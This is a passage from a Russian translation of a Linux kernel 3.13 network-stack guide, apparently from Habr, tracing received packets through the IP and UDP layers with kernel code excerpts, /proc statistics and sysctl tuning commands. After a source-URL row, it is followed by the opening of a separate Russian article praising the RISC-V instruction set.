Здесь регистрируется структура типа IP-пакета, определённая в [net/ipv4/af\_inet.c](https://github.com/torvalds/linux/blob/v3.13/net/ipv4/af_inet.c#L1673-L1676):
static struct packet_type ip_packet_type __read_mostly = {
.type = cpu_to_be16(ETH_P_IP),
.func = ip_rcv,
};
```
\_\_netif\_receive\_skb\_core вызывает deliver\_skb (как мы видели в предыдущей главе), которая вызывает func (в данном случае – ip\_rcv).
#### ip\_rcv
На высоком уровне функция ip\_rcv весьма незатейлива. В ней есть несколько проверок целостности, чтобы удостовериться в валидности данных, а также дёргаются счётчики статистики.
ip\_rcv завершается передачей пакета в ip\_rcv\_finish посредством [netfilter](https://ru.wikipedia.org/wiki/Netfilter). Это делается так, чтобы любое правило [iptables](https://ru.wikipedia.org/wiki/Iptables), которое должно быть соблюдено на уровне протокола IP, могло проверить пакет, прежде чем он отправится дальше.
Код, передающий данные через netfilter в конце ip\_rcv в [net/ipv4/ip\_input.c](https://github.com/torvalds/linux/blob/v3.13/net/ipv4/ip_input.c#L453-L454):
```
return NF_HOOK(NFPROTO_IPV4, NF_INET_PRE_ROUTING, skb, dev, NULL, ip_rcv_finish);
```
#### netfilter и iptables
Ради краткости изложения я решил пропустить подробное рассмотрение netfilter, iptables и conntrack.
Короткая версия: NF\_HOOK\_THRESH проверяет, установлены ли какие-нибудь фильтры и пытается вернуть исполнение обратно на уровень протокола IP, чтобы не углубляться в netfilter и всё, что под ним, вроде iptables и conntrack.
Помните: если у вас много правил netfilter или iptables, или они слишком сложны, то эти правила будут исполняться в контексте SoftIRQ, а это риск возникновения задержек в сетевом стеке. Возможно, вы этого и не избежите, если вам нужен конкретный набор установленных правил.
#### ip\_rcv\_finish
После того, как netfilter получает возможность взглянуть на данные и решить, что с ними делать, вызывается ip\_rcv\_finish. Конечно, если только данные не отбрасываются netfilter'ом.
ip\_rcv\_finish начинается с оптимизации. Чтобы доставить пакет в нужное место, должна быть готова структура dst\_entry от системы маршрутизации. Для её получения код сначала пытается вызвать функцию early\_demux из протокола более высокого уровня, чем тот, для которого предназначены эти данные.
early\_demux — это [оптимизация](https://patchwork.ozlabs.org/patch/280718/), в ходе которой мы пытаемся найти необходимую для доставки пакета структуру dst\_entry. Для этого проверяется, не закэширована ли dst\_entry в структуре сокета.
Вот как это выглядит, взято из [net/ipv4/ip\_input.c](https://github.com/torvalds/linux/blob/v3.13/net/ipv4/ip_input.c#L317-L327):
```
if (sysctl_ip_early_demux && !skb_dst(skb) && skb->sk == NULL) {
const struct net_protocol *ipprot;
int protocol = iph->protocol;
ipprot = rcu_dereference(inet_protos[protocol]);
if (ipprot && ipprot->early_demux) {
ipprot->early_demux(skb);
/* нужно перезагрузить iph, skb->head могла измениться */
iph = ip_hdr(skb);
}
}
```
Как видите, этот код защищается sysctl\_ip\_early\_demux. По умолчанию включена early\_demux. Из следующей главы вы узнаете о том, как её отключить и почему вы можете захотеть это сделать.
Если оптимизация включена и в запись не закэширована (потому что это первый прибывающий пакет), то пакет будет передан системе маршрутизации ядра, где dst\_entry будет вычислена и присвоена.
После завершение слоя маршрутизации обновляются счётчики статистики, а функция завершается вызовом dst\_input(skb). Та, в свою очередь, вызывает указатель функции ввода на структуру пакета dst\_entry, приписанную системой маршрутизации.
Если пункт назначения пакета — локальная система, то система маршрутизации прикрепит функцию ip\_local\_deliver к указателю функции ввода в структуре пакета dst\_entry.
#### Настройка early demux протокола IP
Отключаем оптимизацию early\_demux:
```
$ sudo sysctl -w net.ipv4.ip_early_demux=0
```
Значение по умолчанию равно 1; early\_demux включена.
В ряде случаев эта sysctl [примерно на 5% ухудшает пропускную способность](https://patchwork.ozlabs.org/patch/166441/) с оптимизацией early\_demux.
#### ip\_local\_deliver
Вспоминаем следующий шаблон на уровне протокола IP:
1. При вызове ip\_rcv выполняется ряд процедур (bookkeeping).
2. Пакет передаётся netfilter для последующей обработки, с указателем на исполнение callback’а, когда обработка будет завершена.
3. ip\_rcv\_finish — это callback, завершающий обработку и продолжающий продвижение пакета по сетевому стеку.
В случае с ip\_local\_deliver используется тот же шаблон. Взято из [net/ipv4/ip\_input.c](https://github.com/torvalds/linux/blob/v3.13/net/ipv4/ip_input.c#L241-L258):
```
/*
* Доставляет IP-пакеты на более высокие уровни протоколов.
*/
int ip_local_deliver(struct sk_buff *skb)
{
/*
* Пересобирает IP-пакеты.
*/
if (ip_is_fragment(ip_hdr(skb))) {
if (ip_defrag(skb, IP_DEFRAG_LOCAL_DELIVER))
return 0;
}
return NF_HOOK(NFPROTO_IPV4, NF_INET_LOCAL_IN, skb, skb->dev, NULL,
ip_local_deliver_finish);
}
```
После того, как netfilter получает возможность взглянуть на данные, вызывается ip\_local\_deliver\_finish. Конечно, если только данные не отброшены netfilter'ом.
#### ip\_local\_deliver\_finish
ip\_local\_deliver\_finish извлекает из пакета протокол, ищет зарегистрированную на этот протокол структуру net\_protocol и вызывает функцию, на которую указывает handler в этой структуре.
Таким образом пакет передаётся на более высокий уровень протокола.
#### Мониторинг статистики уровня протокола IP
Читаем /proc/net/snmp, чтобы мониторить подробную статистику протокола IP:
```
$ cat /proc/net/snmp
Ip: Forwarding DefaultTTL InReceives InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos InDiscards InDelivers OutRequests OutDiscards OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs ReasmFails FragOKs FragFails FragCreates
Ip: 1 64 25922988125 0 0 15771700 0 0 25898327616 22789396404 12987882 51 1 10129840 2196520 1 0 0 0
...
```
Этот файл содержит статистику по нескольким уровням протоколов. Первым идёт уровень IP. В первой строке представлены разделённые пробелами имена соответствующих значений из второй строки.
На уровне протокола IP можно найти ряд счётчиков статистики, которые используются в С-перечислении. Все валидные enum-значения и имена полей в /proc/net/snmp, которым они соответствуют, можно найти в [include/uapi/linux/snmp.h](https://github.com/torvalds/linux/blob/v3.13/include/uapi/linux/snmp.h#L10-L59):
```
enum
{
IPSTATS_MIB_NUM = 0,
/* часто записываемые напрямую поля, хранятся в той же кэш-строке */
IPSTATS_MIB_INPKTS, /* InReceives */
IPSTATS_MIB_INOCTETS, /* InOctets */
IPSTATS_MIB_INDELIVERS, /* InDelivers */
IPSTATS_MIB_OUTFORWDATAGRAMS, /* OutForwDatagrams */
IPSTATS_MIB_OUTPKTS, /* OutRequests */
IPSTATS_MIB_OUTOCTETS, /* OutOctets */
/* ... */
```
Читаем /proc/net/netstat, чтобы мониторить расширенную статистику протокола IP:
```
$ cat /proc/net/netstat | grep IpExt
IpExt: InNoRoutes InTruncatedPkts InMcastPkts OutMcastPkts InBcastPkts OutBcastPkts InOctets OutOctets InMcastOctets OutMcastOctets InBcastOctets OutBcastOctets InCsumErrors InNoECTPkts InECT0Pktsu InCEPkts
IpExt: 0 0 0 0 277959 0 14568040307695 32991309088496 0 0 58649349 0 0 0 0 0
```
Формат аналогичен /proc/net/snmp, за исключением строк с префиксом IpExt.
Некоторые любопытные метрики:
* InReceives: общее количество IP-пакетов, достигших ip\_rcv до всех проверок целостности.
* InHdrErrors: общее количество IP-пакетов с повреждёнными заголовками. Заголовок был слишком маленьким или длинным, вообще не существует, содержал неправильный номер версии протокола IP и так далее.
* InAddrErrors: общее количество IP-пакетов, когда хост был недоступен.
* ForwDatagrams: общее количество IP-пакетов, которые были переадресованы (forwarded).
* InUnknownProtos: общее количество IP-пакетов с неизвестным или неподдерживаемым протоколом, указанным в заголовке.
* InDiscards: общее количество IP-пакетов, отклонённых в результате сбоя выделения памяти, или в результате сбоя контрольной суммы при обрезании пакета.
* InDelivers: общее количество IP-пакетов, успешно доставленных на более высокие уровни протоколов. Помните, что эти уровни могут отбрасывать данные, даже если этого не сделал уровень IP.
* InCsumErrors: общее количество IP-пакетов с ошибками контрольной суммы.
Все эти счётчики инкрементируются в специфических местах уровня IP. Время от времени код проходит по ним, и могут возникать ошибки двойного подсчёта и прочие баги. Если для вас важна эта статистика, то очень рекомендую изучить исходники этих метрик на уровне протокола IP, чтобы понимать, как они инкрементируются.
#### Регистрация протокола более высокого уровня
Здесь мы рассмотрим UDP, но обработчик протокола TCP регистрируется так же и в то же время, что и обработчик протокола UDP.
В net/ipv4/af\_inet.c можно найти определения структур, которые содержат функции-обработчики для подключения протоколов UDP, TCP и ICMP к уровню протокола IP. Взято из [net/ipv4/af\_inet.c](https://github.com/torvalds/linux/blob/v3.13/net/ipv4/af_inet.c#L1526-L1547):
```
static const struct net_protocol tcp_protocol = {
.early_demux = tcp_v4_early_demux,
.handler = tcp_v4_rcv,
.err_handler = tcp_v4_err,
.no_policy = 1,
.netns_ok = 1,
};
static const struct net_protocol udp_protocol = {
.early_demux = udp_v4_early_demux,
.handler = udp_rcv,
.err_handler = udp_err,
.no_policy = 1,
.netns_ok = 1,
};
static const struct net_protocol icmp_protocol = {
.handler = icmp_rcv,
.err_handler = icmp_err,
.no_policy = 1,
.netns_ok = 1,
};
```
Эти структуры регистрируются в коде инициализации семейства адресов inet. Взято из [net/ipv4/af\_inet.c](https://github.com/torvalds/linux/blob/v3.13/net/ipv4/af_inet.c#L1720-L1725):
```
/*
* Добавляем все базовые протоколы.
*/
if (inet_add_protocol(&icmp_protocol, IPPROTO_ICMP) < 0)
pr_crit("%s: Cannot add ICMP protocol\n", __func__);
if (inet_add_protocol(&udp_protocol, IPPROTO_UDP) < 0)
pr_crit("%s: Cannot add UDP protocol\n", __func__);
if (inet_add_protocol(&tcp_protocol, IPPROTO_TCP) < 0)
pr_crit("%s: Cannot add TCP protocol\n", __func__);
```
Рассмотрим уровень протокола UDP. Как мы видели выше, функция handler для UDP вызывается udp\_rcv. Это точка входа на уровень UPD, куда передаются данные с уровня IP.
#### Уровень протокола UDP
Код уровня протокола UDP можно найти здесь: [net/ipv4/udp.c](https://github.com/torvalds/linux/blob/v3.13/net/ipv4/udp.c).
#### udp\_rcv
Код функции udp\_rcv состоит из одной строки, в которой напрямую вызывается функция \_\_udp4\_lib\_rcv для обработки принимаемых датаграмм.
#### \_\_udp4\_lib\_rcv
Функция \_\_udp4\_lib\_rcv удостоверяется в валидности пакета и извлекает заголовок UDP, длину UDP-датаграммы, адрес источник и адрес пункта назначения. Далее выполняются проверки целостности и контрольной суммы.
Вспоминаем, что в части, посвящённой уровню протокола IP, мы видели оптимизацию, в результате которой dst\_entry прикрепляется к пакету до того, как он передаётся на более высокий уровень (в нашем случае — UDP).
Если найден сокет и соответствующая dst\_entry, то функция \_\_udp4\_lib\_rcv помещает пакет в очередь сокета:
```
sk = skb_steal_sock(skb);
if (sk) {
struct dst_entry *dst = skb_dst(skb);
int ret;
if (unlikely(sk->sk_rx_dst != dst))
udp_sk_rx_dst_set(sk, dst);
ret = udp_queue_rcv_skb(sk, skb);
sock_put(sk);
/* возвращаемое значение > 0 означает повторный ввод данных,
* но он хочет вернуть –protocol или 0
*/
if (ret > 0)
return -ret;
return 0;
} else {
```
Если от операции early\_demux не осталось прикреплённого принимающего сокета, то он ищется путём вызова \_\_udp4\_lib\_lookup\_skb.
В обоих случаях датаграмма будет помещена в очередь сокета:
```
ret = udp_queue_rcv_skb(sk, skb);
sock_put(sk);
```
Если сокет так и не находится, то датаграмма будет отброшена:
```
/* Сокета нет. Пакет тихо отбрасывается, если контрольная сумма ошибочна */
if (udp_lib_checksum_complete(skb))
goto csum_error;
UDP_INC_STATS_BH(net, UDP_MIB_NOPORTS, proto == IPPROTO_UDPLITE);
icmp_send(skb, ICMP_DEST_UNREACH, ICMP_PORT_UNREACH, 0);
/*
* Хм. Мы получили UDP-пакет на порт, который
* не хотим прослушивать. Игнорируем его.
*/
kfree_skb(skb);
return 0;
```
#### udp\_queue\_rcv\_skb
Начальная часть функции:
1. Определяет, является ли сокет, ассоциированный с датаграммой, [инкапсулирующим](https://tools.ietf.org/html/rfc3948) сокетом. Если да, то перед обработкой пакет передаётся функции-обработчику этого уровня.
2. Определяет, относится ли датаграмма к UDP-Lite и выполняется проверки целостности.
3. Проверяет UDP-контрольную сумму датаграммы и отбрасывает последнюю в случае сбоя.
Наконец-то мы добрались до логики очереди приёма. Начинается она с проверки заполненности очереди для сокета. Взято из [net/ipv4/udp.c](https://github.com/torvalds/linux/blob/v3.13/net/ipv4/udp.c#L1548-L1549):
```
if (sk_rcvqueues_full(sk, skb, sk->sk_rcvbuf))
goto drop;
```
#### sk\_rcvqueues\_full
Функция sk\_rcvqueues\_full проверяет длину backlog’а и sk\_rmem\_alloc сокета, чтобы определить, не превышает ли сумма их длин размер sk\_rcvbuf для сокета (sk->sk\_rcvbuf в вышеприведённом примере):
```
/*
* Учитывает размер очереди приёма и backlog-очереди.
* Не учитывает этот skb truesize,
* чтобы мог прибыть даже одиночный большой пакет.
*/
static inline bool sk_rcvqueues_full(const struct sock *sk, const struct sk_buff *skb,
unsigned int limit)
{
unsigned int qsize = sk->sk_backlog.len + atomic_read(&sk->sk_rmem_alloc);
return qsize > limit;
}
```
Эти значения настраиваются довольно хитро, и можно много чего подкрутить.
#### Настройка: память очереди приёма сокета
Значение sk->sk\_rcvbuf (вызываемое ограничение в sk\_rcvqueues\_full) можно увеличить до любого уровня в пределах sysctl net.core.rmem\_max.
Увеличим максимальный размер буфера приёма:
```
$ sudo sysctl -w net.core.rmem_max=8388608
```
sk->sk\_rcvbuf начинается со значения net.core.rmem\_default, которое тоже можно настроить с помощью sysctl.
Настроим исходный размер буфера приёма по умолчанию:
```
$ sudo sysctl -w net.core.rmem_default=8388608
```
Также можно настроить размер sk->sk\_rcvbuf, посредством вызова [setsockopt](http://www.manpagez.com/man/2/setsockopt/) из вашего приложения и передачи SO\_RCVBUF. Максимальное значение setsockopt не превышает net.core.rmem\_max.
Зато можно превысить ограничение net.core.rmem\_max, вызвав setsockopt и передав SO\_RCVBUFFORCE. Но пользователю, у которого выполняется приложение, потребуется возможность CAP\_NET\_ADMIN.
Значение sk->sk\_rmem\_alloc инкрементируется с помощью вызовов skb\_set\_owner\_r, которые задают владеющий датаграммой сокет. Позднее мы ещё столкнёмся с этим на уровне UDP.
Значение sk->sk\_backlog.len инкрементируется с помощью вызовов sk\_add\_backlog.
#### udp\_queue\_rcv\_skb
После проверки заполненности очереди продолжается процедура помещения датаграммы в очередь. Взято из [net/ipv4/udp.c](https://github.com/torvalds/linux/blob/v3.13/net/ipv4/udp.c#L1554-L1561):
```
bh_lock_sock(sk);
if (!sock_owned_by_user(sk))
rc = __udp_queue_rcv_skb(sk, skb);
else if (sk_add_backlog(sk, skb, sk->sk_rcvbuf)) {
bh_unlock_sock(sk);
goto drop;
}
bh_unlock_sock(sk);
return rc;
```
Сначала выясняется, есть ли в данный момент системные вызовы к сокету из программы пользовательского пространства. Если **нет**, то датаграмма может быть добавлена в очередь приёма с помощью вызова \_\_udp\_queue\_rcv\_skb. Если **есть**, то датаграмма помещается в backlog-очередь с помощью вызова sk\_add\_backlog.
Датаграммы добавляются в очередь приёма из backlog’а, когда системные вызовы освобождают сокет с помощью вызова release\_sock в ядре.
#### \_\_udp\_queue\_rcv\_skb
Функция \_\_udp\_queue\_rcv\_skb добавляет датаграммы в очередь приёма с помощью вызова sock\_queue\_rcv\_skb. А если датаграмму нельзя добавить в очередь приёма сокета, то \_\_udp\_queue\_rcv\_skb дёргает счётчики статистики.
Взято из [net/ipv4/udp.c](https://github.com/torvalds/linux/blob/v3.13/net/ipv4/udp.c#L1431-L1443):
```
rc = sock_queue_rcv_skb(sk, skb);
if (rc < 0) {
int is_udplite = IS_UDPLITE(sk);
/* Обратите внимание, что ошибка ENOMEM выдаётся дважды */
if (rc == -ENOMEM)
UDP_INC_STATS_BH(sock_net(sk), UDP_MIB_RCVBUFERRORS,is_udplite);
UDP_INC_STATS_BH(sock_net(sk), UDP_MIB_INERRORS, is_udplite);
kfree_skb(skb);
trace_udp_fail_queue_rcv_skb(rc, sk);
return -1;
}
```
#### Мониторинг статистики уровня протокола UDP
Два очень полезных файла для получения статистики по протоколу UDP:
* /proc/net/snmp
* /proc/net/udp
#### /proc/net/snmp
Читаем /proc/net/snmp, чтобы мониторить подробную статистику протокола UDP.
```
$ cat /proc/net/snmp | grep Udp\:
Udp: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors
Udp: 16314 0 0 17161 0 0
```
Подобно детальной статистике по протоколу IP, которая имеется в этом файле, вам нужно будет почитать исходники уровня протокола, чтобы точно определить, когда и где инкрементируются эти значения.
InDatagrams: инкрементируется, когда:
* recvmsg используется программой пользовательского пространства для чтения датаграммы.
* UDP-пакет инкапсулируется и возвращается для обработки.
NoPorts: инкрементируется, когда UDP-пакеты прибывают на определённый порт, который не слушает ни одна программа.
InErrors: инкрементируется, если:
* закончилась память очереди приёма,
* ошибочная контрольная сумма,
* у sk\_add\_backlog не получается добавить датаграмму.
OutDatagrams: инкрементируется, когда UDP-пакет безошибочно передаётся вниз, на уровень протокола IP для последующей отправки.
RcvbufErrors: инкрементируется, когда sock\_queue\_rcv\_skb сообщает об отсутствии доступной памяти; такое случается, если sk->sk\_rmem\_alloc больше или равно sk->sk\_rcvbuf.
SndbufErrors: инкрементируется, если:
* уровень протокола IP сообщил об ошибке при попытке отправки пакета,
* ядру не хватает памяти,
* закончилось место в буфере отправки.
InCsumErrors: инкрементируется, когда обнаруживается сбой контрольной суммы UDP. Обратите внимание, что во всех случаях, с которыми я сталкивался, InCsumErrors инкрементируется одновременно с InErrors. Следовательно, связка InErrors — InCsumErros должна отражать количество ошибок памяти.
#### /proc/net/udp
Читаем /proc/net/udp, чтобы мониторить подробную статистику сокета UDP.
```
$ cat /proc/net/udp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode ref pointer drops
515: 00000000:B346 00000000:0000 07 00000000:00000000 00:00000000 00000000 104 0 7518 2 0000000000000000 0
558: 00000000:0371 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 7408 2 0000000000000000 0
588: 0100007F:038F 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 7511 2 0000000000000000 0
769: 00000000:0044 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 7673 2 0000000000000000 0
812: 00000000:006F 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 7407 2 0000000000000000 0
```
Первая строка описывает каждое из полей из последующих строк:
* sl: хэш-слот ядра для сокета.
* local\_address: шестнадцатеричный локальный адрес сокета и номер порта, разделённые :.
* rem\_address: шестнадцатеричный удалённый адрес сокета и номер порта, разделённые :.
* st: состояние сокета. Довольно странно, но уровень протокола UDP, судя по всему, использует состояния сокета TCP. В приведённом примере, 7 — это TCP\_CLOSE.
* tx\_queue: количество выделенной в ядре памяти для исходящих датаграмм UDP.
* rx\_queue: количество выделенной в ядре памяти для входящих датаграмм UDP.
* tr, tm->when, retrnsmt: эти поля не используются уровнем протокола UDP.
* uid: действительный идентификатор пользователя, создавшего этот сокет.
* timeout: не используется уровнем протокола UDP.
* inode: номер индексного дескриптора (inode number), соответствующего этому сокету. Его можно использовать для определения, какой пользовательский процесс открыл этот сокет. Посмотрите /proc/[pid]/fd, она содержи symlink’и на socket[:inode].
* ref: текущий счётчик ссылок на этот сокет.
* pointer: адрес struct sock в памяти ядра.
* drops: количество отброшенных датаграмм, связанных с этим сокетом.
Отображающий всё это код можно найти в [net/ipv4/udp.c](https://github.com/torvalds/linux/blob/master/net/ipv4/udp.c#L2396-L2431).
#### Помещение данных в очередь сокета
Сетевые данные помещаются в очередь сокета с помощью вызова sock\_queue\_rcv. Прежде чем добавить датаграмму в очередь, эта функция делает несколько вещей:
1. Проверяется выделенная для сокета память чтобы определить, достигнут ли предел размера буфера приёма. Если да, то для этого сокета инкрементируется счётчик отбрасываний.
2. sk\_filter используется для обработки фильтров Berkeley Packet Filter, применённых к сокету.
3. sk\_rmem\_schedule позволяет удостовериться, что в буфере приёма есть достаточно места, чтобы принять датаграмму.
4. Затем с помощью вызова skb\_set\_owner\_r размер датаграммы заносится в сокет. Инкрементируется sk->sk\_rmem\_alloc.
5. С помощью вызова \_\_skb\_queue\_tail в очередь добавляются данные.
6. Наконец, с помощью вызова функции обработки уведомлений sk\_data\_ready уведомляются все процессы, ожидающие прибытия данных в сокет.
Таким образом данные прибывают в систему и проходят по сетевому стеку, пока не достигают сокета. Теперь они готовы к использованию пользовательской программой.
3.10. Дополнительная информация
-------------------------------
Нужно упомянуть о нескольких дополнительных вещах, о которых не было повода рассказать выше.
#### Присваивание временных меток
Я уже писал, что сетевой стек может собирать временные метки входящих данных. В sysctl есть значения, совместно с RPS позволяющие контролировать момент и способ сбора меток. Подробнее об этом читайте в главах, посвящённых RPS и временным меткам. Некоторые сетевые карты даже поддерживают метки аппаратно.
Это полезная возможность, если вы захотите определить размер задержки, добавляемой к получаемым пакетам сетевым стеком ядра.
В [документации ядра прекрасно освещён вопрос](https://github.com/torvalds/linux/blob/v3.13/Documentation/networking/timestamping.txt) присваивания временных меток, туда даже включена [программа-образец и сборочный файл](https://github.com/torvalds/linux/tree/v3.13/Documentation/networking/timestamping)!
Определяем, какие режимы временных меток поддерживают ваши драйвер и устройство:
```
$ sudo ethtool -T eth0
Time stamping parameters for eth0:
Capabilities:
software-transmit (SOF_TIMESTAMPING_TX_SOFTWARE)
software-receive (SOF_TIMESTAMPING_RX_SOFTWARE)
software-system-clock (SOF_TIMESTAMPING_SOFTWARE)
PTP Hardware Clock: none
Hardware Transmit Timestamp Modes: none
Hardware Receive Filter Modes: none
```
К сожалению, эта сетевая карта не поддерживает временные метки аппаратно, но ещё можно использовать их программно. Они помогут определять, какую задержку ядро добавляет к моему пути прохождения пакетов.
#### Нагруженный поллинг для сокетов с малой задержкой
Можно использовать опцию сокета, называющуюся SO\_BUSY\_POLL. Она заставляет ядро применять к новым данным нагруженный поллинг, когда завершается блокирующий приём и нет данных.
ВАЖНОЕ ЗАМЕЧАНИЕ: чтобы эта опция работала, она должна поддерживаться вашим драйвером устройства. Драйвер igb ядра 3.13.0 её не поддерживает. А ixgbe — поддерживает. Если ваш драйвер имеет функцию, настроенную в поле ndo\_busy\_poll структуры struct net\_device\_ops (упоминалась выше), то он поддерживает SO\_BUSY\_POLL.
У Intel [прекрасно описано](http://www.intel.com/content/dam/www/public/us/en/documents/white-papers/open-source-kernel-enhancements-paper.pdf), как это работает и как это использовать.
При использовании этой опции для одного сокета, нужно в очередь приёма драйвера устройства передавать для новых данных значение времени в микросекундах в качестве объёма времени для поллинга. Когда после настройки этого значения выполняется блокирующее чтение сокета, ядро будет применять поллинг к новым данным.
Также можно настроить в sysctl значение net.core.busy\_poll — как долго вызовы с poll или select должны ожидать прибытия новых данных в условиях нагруженного поллинга(в микросекундах).
Эта опция позволяет снизить задержку, но увеличивает нагрузку на CPU и потребление энергии.
#### Netpoll: поддержка работы с сетью в рамках критических контекстов
Ядро Linux предоставляет способ использовать драйверы устройств для отправки и приёма данных на сетевой карте, если ядро падает. API для этой функциональности называется Netpoll. Он используется разными системами, но особенно [kgdb](http://sysprogs.com/VisualKernel/kgdboe/launch/) и [netconsole](https://github.com/torvalds/linux/blob/v3.13/Documentation/networking/netconsole.txt).
Netpoll поддерживается большинство драйверов. Ваш драйвер должен реализовать функцию ndo\_poll\_controller и прикрепить её к структуре struct net\_device\_ops, регистрируемой во время probe.
Когда подсистема сетевого устройства выполняет операции со входящими и исходящими данными, то сначала проверяется система Netpoll, чтобы определить, не предназначен ли пакет для неё.
Следующий код можно найти в \_\_netif\_receive\_skb\_core из [net/dev/core.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L3511-L3514):
```
static int __netif_receive_skb_core(struct sk_buff *skb, bool pfmemalloc)
{
/* ... */
/* если мы попали сюда через NAPI, проверяем netpoll */
if (netpoll_receive_skb(skb))
goto out;
/* ... */
}
```
Проверки Netpoll довольно рано выполняются в большинстве подсистем сетевых устройств Linux, работающих с передачей или приёмом сетевых данных.
Потребители Netpoll API могут зарегистрировать структуры struct netpoll с помощью вызова netpoll\_setup. Эти структуры содержат указатели функций для прикрепления хуков, а API экспортирует функцию для отправки данных.
Если вас интересует использование Netpoll API, то изучите драйвер [netconsole](https://github.com/torvalds/linux/blob/v3.13/drivers/net/netconsole.c), заголовочный файл Netpoll API, [‘include/linux/netpoll.h`](https://github.com/torvalds/linux/blob/v3.13/include/linux/netpoll.h) и [этот прекрасный текст](http://people.redhat.com/~jmoyer/netpoll-linux_kongress-2005.pdf).
#### SO\_INCOMING\_CPU
Флаг SO\_INCOMING\_CPU отсутствовал в Linux вплоть до версии 3.19, но он достаточно полезен, поэтому я его упомяну.
Для определения, какой CPU обрабатывает сетевые пакеты для конкретного сокета, можно использовать getsockopt и опцию SO\_INCOMING\_CPU. Тогда ваше приложение сможет использовать эту информацию для передачи сокетов тредам, выполняющимся на нужном CPU. Это поможет улучшить локальность данных и частоту попадания в кэш CPU.
Короткий пример архитектуры, когда эта опция полезна, приведён здесь: [patchwork.ozlabs.org/patch/408257](https://patchwork.ozlabs.org/patch/408257/).
#### Движки DMA
Движок [DMA](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D1%8F%D0%BC%D0%BE%D0%B9_%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF_%D0%BA_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D0%B8) — это аппаратная часть, позволяющая освобождать CPU от больших операций копирования, которые перекладываются на другое железо. Так что включение использования движка DMA и запуск кода, использующего его преимущества, должно привести к снижению нагрузки на CPU.
Ядро Linux содержит обощённый интерфейс движка DMA, который может использоваться авторами драйверов движка. Подробнее об этом интерфейсе можно почитать в [документации к ядру](https://github.com/torvalds/linux/blob/v3.13/Documentation/dmaengine.txt).
Ядро поддерживает несколько движков DMA, но мы будем говорить об одном из самых распространённых — [Intel IOAT DMA engine](https://en.wikipedia.org/wiki/I/O_Acceleration_Technology).
#### Технология ускорения I/O Intel (Intel’s I/O Acceleration Technology (IOAT))
Многие серверы содержат пакет [Intel I/O AT](http://www.intel.com/content/www/us/en/wireless-network/accel-technology.html), который вносит в производительность ряд изменений. Одно из них — использование аппаратного движка DMA. Проверьте выходные данные своего dmesg для ioatdma чтобы определить, загружен ли модуль и нашёл ли он поддерживаемое оборудование. Движок DMA используется в ряде мест, но особенно активно — в стеке TCP.
Поддержка движка Intel IOAT была включена в Linux 2.6.18, но в 3.13.11.10 от неё отказались из-за неожиданных [багов, повреждавших данные](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=77873803363c9e831fc1d1e6895c084279090c22). Пользователи ядер до версии 3.13.11.10 могут по умолчанию использовать модуль ioatdma. Возможно, в будущих релизах его пофиксят.
#### Прямой доступ к кэшу (Direct cache access (DCA))
Другая интересная функция, идущая в [пакете Intel I/O AT](http://www.intel.com/content/www/us/en/wireless-network/accel-technology.html) — Direct Cache Access (DCA).
Она позволяет сетевым устройствам (через их драйверы) помещать сетевые данные напрямую в кэш CPU. Конкретная реализация зависит от драйвера. В случае с igb можете посмотреть код функции [igb\_update\_dca](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L5202-L5219), а также [igb\_update\_rx\_dca](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L5182-L5200). Драйвер igb использует DCA при записи значений регистров в сетевую карту.
Чтобы использовать DCA, вам нужно включить её в BIOS, проверить, загружен ли модуль dca и поддерживают ли её ваша сетевая карта и драйвер.
#### Мониторинг движка IOAT DMA
Если, несмотря на риск повреждения данных, вы используете модуль ioatdma, то можете мониторить его через некоторые записи в sysfs.
Мониторим общее количество разгруженных операций memcpy в DMA-канале:
```
$ cat /sys/class/dma/dma0chan0/memcpy_count
123205655
```
Мониторим общее количество байтов, переданных через DMA-канал:
```
$ cat /sys/class/dma/dma0chan0/bytes_transferred
131791916307
```
#### Настройка движка IOAT DMA
Движок IOAT DMA используется только тогда, когда размер пакета превышает определённый порог — copybreak. Эта проверка нужна потому, что для маленьких копий накладные расходы при установке и использовании движка DMA не покрывают выгоды от ускорения.
Настроим copybreak для движка DMA:
```
$ sudo sysctl -w net.ipv4.tcp_dma_copybreak=2048
```
Значение по умолчанию равно 4096.
4. Заключение
=============
Сетевой стек Linux довольно сложный. Без глубокого понимания происходящих процессов вы не сможете мониторить или настроить его (как и любое другое сложное ПО). На просторах интернета вы можете встретить примеры sysctl.conf, содержащие наборы значений, которые предлагается скопировать и вставить на вашем компьютере. Это не лучший способ оптимизации своего сетевого стека.
Мониторинг сетевого стека требует аккуратного управления сетевыми данными на каждом уровне, начиная с драйверов. Тогда вы сможете определять, где происходят отбрасывания и возникают ошибки, после чего производить настройку, уменьшая эти вредные эффекты.
К сожалению, лёгкого пути тут нет. | https://habr.com/ru/post/314168/ | null | ru | null |
# Гениальность микропроцессоров RISC-V
Войны между RISC и CISC, проходившие в конце 1990-х, уже давно отгремели, и сегодня считается, что разница между RISC и CISC совершенно не имеет значения. Многие заявляют, что наборы команд несущественны.
Однако на самом деле наборы команд важны. Они накладывают ограничения на типы оптимизаций, которые можно легко добавлять в микропроцессор.
Недавно я подробнее изучил информацию об архитектуре набора команд (instruction-set architecture, ISA) RISC-V и вот некоторые из аспектов, которые по-настоящему впечатлили меня в ISA RISC-V:
1. Это небольшой и простой в изучении набор команд RISC. Очень предпочтителен для тех, кому интересно получать знания о микропроцессорах.
2. Благодаря своей простоте, открытости и связи с университетскими профессорами он с большой вероятностью будет доминировать как архитектура, выбираемая для обучения процессорам в вузах.
3. Его продуманная структура позволяет разработчикам CPU создавать высокопроизводительные микропроцессоры на основе ISA RISC-V.
4. Благодаря отсутсвию лицензионных отчислений и нацеленности на простую аппаратную реализацию увлечённый любитель может, в принципе, создать за приемлемое время собственную конструкцию процессора RISC-V.
Месть RISC
==========
